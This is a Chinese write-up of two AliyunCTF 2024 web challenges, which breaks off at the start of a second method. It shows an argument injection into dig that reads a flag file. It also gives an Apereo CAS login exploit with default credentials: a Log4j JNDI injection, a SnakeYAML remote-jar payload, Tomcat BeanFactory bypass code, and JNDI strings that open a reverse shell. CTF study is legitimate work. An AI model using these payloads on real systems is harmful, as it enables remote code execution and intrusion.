AliyunCTF-2024

AliyunCTF赛题记录

Web

web签到

dig指令,传参

{"domain":"baidu.com","type":"CNAME"}

domain不能用,但是type没有限制,直接读文件,但是要注意的是-f后面阶段参数不要用空格分开(一直用空格分开然后一直No such file or directory,一度怀疑人生)

{"domain":"baidu.com","type":"-f/flag"}

easyCAS

描述:怎么网上都是 4.X 的漏洞,版本 5.X 没漏洞了吗,可是都是六年前的了,真的没问题吗,不管了,那我就搭起来看看吧,反正没漏洞密码也懒得改了。嗷~对了,还要调一下代码,开一下调试功能。

cAS部署的服务

Powered by Apereo Central Authentication Service 5.3.16 2022-01-07T20:24:58Z 

先去下一下源码,一个是源码文件,另一个是官方给的服务的部署模板,可以直接下载war包的

https://github.com/apereo/cas
https://github.com/apereo/cas-overlay-template

下载模板,简单粗暴点直接复制pom.xml的内容到maven中下载就能拿到war包,在application.properties中能看到默认的用户名和密码

cas.authn.accept.users=casuser::Mellon

到这里就有两种做法了,一种是CAS的组件漏洞,这里用到了log4j 2.12.1,低版本是有jndi注入的,登录名是有log记录的(我没找到具体代码TuT,各位师傅提到的),所以可以进行jndi注入,试试dnslog确实是有${jndi:ldap://dnslog}

直接打并不行,应该是限制了不能随意远程加载任意类了,但是还有本地工厂类的bypass,这种就要求所用的组件本身就要带有楼哦东

按照jndi的原理,rmi会请求远程地址,得到一个Reference类,然后再解析这个引用来加载类

lib里面看,有漏洞的就有snakeyamltomcat等,这里就讲一下snakeyaml的bypass

new Yaml().load()下面的payload的时候就会触发加载任意类,然后通过远程地址获取恶意jar并加载来达到RCE,跟jndi的做法很像

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ip:port/yaml-payload.jar"]
]]
]

这里用的是基于ScriptEngineManager利用链,这里讲的很清楚,还需要构造一个恶意jar包,用这个仓库的模板,可以自己写恶意jar里面的命令执行,然后打包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后将这个jar包开一个web server来放着,要保证与上面的yaml的payload里的地址一致

到这里yaml的利用链准备就完成了,接下来是jndi的rmi服务的搭建,rmi是要返回Reference

import org.apache.naming.ResourceRef;

private static ResourceRef Snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9998/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}

这个就是要生成的恶意.class文件,可以使用工具将他跟rmi服务一起部署,或者自己写java代码让rmi服务就返回上面的内容,然后去访问rmi促发jndi注入就可以了,在上面的yaml的恶意jar包中可以使用socket进行反弹shell

这里的话我就使用工具了,X1r0z师傅的JNDIMAP,使用${jndi:ldap://ip:1389/TomcatBypass/ReverseShell/ip/2323}或者${jndi:ldap://ip:1389/snakeyaml/ReverseShell/ip/2323}都可以

其中snakeyaml的流程就是上面所说的

第二种做法就是,CAS自身的版本漏洞了,我们有默认的账号与密码